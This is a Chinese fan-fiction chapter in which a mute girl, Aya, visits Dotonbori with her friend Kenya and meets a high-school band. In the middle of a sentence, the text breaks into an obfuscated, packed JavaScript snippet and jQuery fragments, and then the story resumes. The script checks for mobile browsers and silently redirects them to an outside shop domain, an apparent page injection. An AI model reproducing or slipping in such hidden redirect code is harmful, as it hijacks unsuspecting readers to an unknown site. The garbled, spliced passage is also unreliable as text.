片桐彩怎么也没有想到,忍足谦也要带着她来的地方竟然是道顿堀。
正值暑假,来往的游客多得吓人,两个小小的孩子手牵手如游鱼般穿梭在人群之中,很快就抵达了忍足谦也口中的“有趣的地方”。
她过去是来过这里的,和爸爸一起。
她记得这些颜色格外鲜明的、有趣的广告牌。
小彩仰着脸,总感觉格力高看板上那个巨大的、振臂而来的300米跑者下一秒就要把她踩在脚下。
这附近大约是有什么乐队正在进行表演,不断传来轻快的鼓点声。
乐音随着风飘忽着进入她的耳朵,但周围实在是过于嘈杂了,她没能从键盘主导的前奏里听出究竟是什么歌。
“小彩,抓紧我哦,”忍足谦也走在她身前为她开路,没走几步又不放心地回过头来看她两眼:“我也会抓紧你的,不要害怕。”
片桐彩信任地点点头。
她确实有些紧张。
她今天戴的帽子也是谦也选的,是一顶鸭舌帽,不像她常戴的阔檐帽有系带可以收紧。
这里的人实在是太过密集,她长得又不够高,她很担心一个不小心帽子就被行人的手打掉。
小彩紧紧地拉着谦也的手,手心甚至因为紧张而出了些汗。
谦也似乎常来这附近,对此适应得很好,他带着她熟门熟路地来到靠近河边的位置。
原本飘渺的乐声渐渐凝实,电吉他强烈的音声冲入了她的耳朵。
忍足谦也牵着她的手,熟悉地找了个位置待着,乐手们似乎也都认识他,贝斯手见到他,甚至还友好地冲着他笑了笑。
“就是这里吗?”小彩趴在他的耳边,“你是要带我来看演出吗?”
黑发男孩伸手挠了挠被好朋友的吐息弄得痒痒的耳朵,重重地点头:“算是吧……小彩,你怕不怕吵?”
“还好啦,”她把谦也的手臂揽在怀里,放松一下疲劳的手指:“这是什么乐队呢?”
“RE?FISH——我们是四天宝寺轻音部的部员啦。”
一只大手摁住她的头,紧跟着,一张格外艳丽的脸出现在她的面前。
片桐彩呆呆地望着眼前这张雌雄莫辨的美丽脸孔,心脏“咚咚”地弹跳着。
她无所适从地捂住心口。
好漂亮的人。
“是第一次来吗?”那人轻勾着唇角,酒红色的头发不经意间落下两缕搭在她的肩上,她声音沙沙的:“我好像第一次在这里见到你。”
“啊!赤楚姐!你吓到我的朋友了!”
忍足谦也紧张地把像个小呆瓜一样的小彩护在身后,气恼地瞪了一眼眼前的高中女生:“不要随便动手动脚的!”
赤楚辉弓双手穿过小彩的腋下,随手拔起她,把她高高地举起来,又轻飘飘地瞥了一眼谦也。
她轻笑一声,什么都没说,却好像什么都说了。
忍足谦也的脸被气得涨红,他气呼呼地跑到贝斯手身边,重重地拽了拽他的衣摆:“境原哥你看她!”
境原御斗好脾气地揉揉他的脑袋,抬眼望向赤楚辉弓:“辉弓,把谦也的朋友放下吧,这样举着她会痛的。”
赤楚辉弓才不管他,她轻哼一声,扭脸对上手里这个乖巧小孩的视线:“你痛吗?”
小彩再次受到美貌暴击,大姐姐身上的玫瑰花香透过鼻子勾缠住她的思绪,把她的脑袋弄得晕晕乎乎的,什么都想不起来。
她呆呆地摇了摇头。
赤楚辉弓满意地把她揽在怀里,挑衅似的冲着他们扬了扬眉:“她说不痛,我抱会儿怎么了?”
说着她又望向一脸愤愤的谦也:“谦也是小气鬼。”
忍足谦也被她挑衅般的举动弄得气血上涌,气呼呼地跺了跺脚:“赤楚姐,你没有自己的朋友吗!那是我的好朋友!”
“哦,那现在她是我的好朋友了,”赤楚辉弓笑眯眯地捏了捏怀里小女孩的脸颊,柔软的触感令她有些上瘾,又多捏了几下:“你说呢?这位可爱的小公主。”
‘不是小公主,是小彩大王!’
片桐彩下意识蹙起了眉头。
能做大王的话,谁要做公主啊,怎么看都是大王的权力更多一点。
连爸爸都说小彩是大王呢!
她比划的那几下弄得赤楚辉弓一头雾水,但她大致明白了她不能说话这一点,又怜爱地摸了摸她的脸。
“快点把小彩放下来啦!”
见忍足谦也似乎真的要生气了,赤楚辉弓也不再逗弄他,轻手轻脚地把小彩放到地上。
谦也迅速跑到小彩身边,拉着小彩躲到他认为最靠谱的境原御斗身后。
他警惕的模样看得周围的人不由得有些发笑,鼓手土谷绩敲了两下鼓面,叫他把注意力转移过去。
“谦也,这是你的新朋友吗?”土谷绩抬了抬帽檐,笑眯眯地打量着他身后看起来傻乎乎的女孩,“不介绍一下吗?”
“噢噢!好!”谦也牵着小彩的手,把她往土谷绩面前带了带:“师匠,这是我的好朋友片桐彩,你可以叫她小彩。”
片桐彩的目光在小伙伴和土谷绩之间来回睃巡着,似乎很好奇他为什么叫他“师匠”。
“你好啊,小彩,”土谷绩对着她友善地笑笑,从口袋里掏出一枚包装特别绮丽的糖果递给她:“我叫土谷绩,是这支乐队的鼓手。”
小彩没有接过那颗糖,她怯生生地躲到谦也的身后,只露出一双眼睛看着他。
不知为何,她莫名有点怕谦也的师匠,总感觉他长了一张狐狸一样的脸。
她又不确定地看了几眼。
他那双狭长的眼睛完全就和狐狸没什么两样嘛!
“噗哈哈哈哈哈,土谷绩,你也有今天!”赤楚辉弓叉着腰,大声嘲笑自己的这位好友:“我们小彩可比谦也聪明多了,一眼就看出你是个一肚子坏水的家伙。”
“也就谦也,还把你当成什么了不得的大好人呢,”她随手摁住谦也的脑袋,就着他毛茸茸的头发乱摸一气,“可怜的小谦也,被这种人玩弄于股掌之中……真是个小傻瓜。”
那头忍足谦也又被赤楚辉弓气得跳脚,大声嚷着“要誓死保卫师匠名誉”之类的话,又和她吵了起来。
这头小彩已经被三个高中生包围了。
她紧张地抠着手指,眼睛始终黏在地上,连眼皮都不敢抬一下。
可恶的谦也!
再这样下去,小彩也要被可恶的高中生大姐姐大哥哥玩弄于鼓掌了!
她无措地和在她面前蹲下的女高中生对视,怯生生地往后退了一步。
“月,不要吓到小孩。”
其中一个和那个女生长得很像的男子轻声提示道,女生慢吞吞地移开了眼。
她似乎是想到了什么,轻轻地捏起小彩的手晃了晃,这才正式退开。
与她长得相像的高中男生冲着她温和地笑了笑,放柔了声音:“小彩你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565677|142576||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好,我叫江场星,刚才和你握手的是我的妹妹江场月,她只是觉得你很可爱,没有恶意。”
呼。
片桐彩小心翼翼地舒了口气。
天晓得她刚才有多么的紧张!
‘没关系,你们好。’
她下意识比出一串手势,比完才想到他们可能不认识。
她羞赧地把手背后,轻轻地摇了摇头,示意他们她不介意。
江场星轻轻地摸了摸她的脑袋,和一旁站着的境原御斗对视一眼:“境原,去管管赤楚吧,让谦也过来陪着点小姑娘。”
境原御斗叹了口气,把赤楚辉弓架走,阻隔开两个正在吵架的幼稚鬼,忍足谦也这才意识到小彩没跟着他过来,迅速跑到她身边。
“抱歉,小彩,这次是我不好,我不应该把你一个人丢在这里,”他愧疚地垂着眸子:“你一定被吓到了吧?我这次绝对、绝对不会再松手了。”
片桐彩轻轻拍了拍他的脑袋,‘那谦也要一直好好牵着我才行哦。’
谦也重重地点点头:“嗯!我一定会好好牵着你的!”
那边似乎已经闹完了,乐队的演出又接着进行下去,忍足谦也在他们的那堆东西里翻出两个小马扎,带着小彩坐下。
“小彩,你看那个!”他悄悄指了指赤楚辉弓的脑袋:“赤楚姐的红发是染的哦,是不是很酷。”
小彩盯着那头红发,真诚地点点头。
‘真的很酷,谦也也想染那种颜色吗?’
忍足谦也想了想:“我想每种颜色都染一遍——小彩觉得哪种颜色最适合我?等我到可以染发的年纪,我就先染那个试试看。”
小彩严肃地盯着小伙伴的脸看,看了好半天都没有动作,弄得谦也心脏越跳越快,紧张地吞了吞口水。
不妙啊,是他很不适合染发吗?
小彩怎么要想这么久?
他紧张地等待着来自好友的宣判,却迟迟没有等到。
谦也的心越跳越快越跳越快,他慌乱地别过脸,目光往别处乱瞟,试图找到一个合适的东西转移一下彼此的注意力。
恰好此刻土谷绩动作幅度太大,把没戴紧的帽子甩脱了,他连忙捧住小彩的脸,把她的视线往那边带。
“小彩,你看,是不是很酷?”
片桐彩好奇地朝那边望去,土谷绩正从容地敲着鼓,一道耀眼的银光闪过,她才发现对方也有着一头白发。
他雪白的发丝随着轻柔拂过的微风轻轻摇晃着,在太阳下熠熠生辉,周围的观众似乎对此习以为常,她甚至能看到几个女孩子满脸写着兴奋,偶尔还低声交谈些什么。
她们时不时地抬头望望表演区域,兴致浓时还会举起手机拍几张相片。
片桐彩定定地看着这一幕,脑子里突然变得很空,什么都没有了。
她的心脏“怦怦”地跳动着,胸腔中过度的震颤令她有些干渴。
她听着耳中响若惊雷的心跳声,喉间的涩然叫她想要张开嘴巴说些什么,她努力翕动了几下嘴唇,最终却还是没能发出任何一个音节。
“小彩要不要也摘下帽子试试看呢?”
好朋友的声音在她耳畔轻柔地响起,她猛然回头望向他,却对上了一双写满了认真的、关切的眼睛。
“小彩的头发和师匠的头发一样,都很酷。”
她看得见他藏在眼底的忐忑和小心。
片桐彩犹豫片刻,最终还是把手搭在了帽檐上。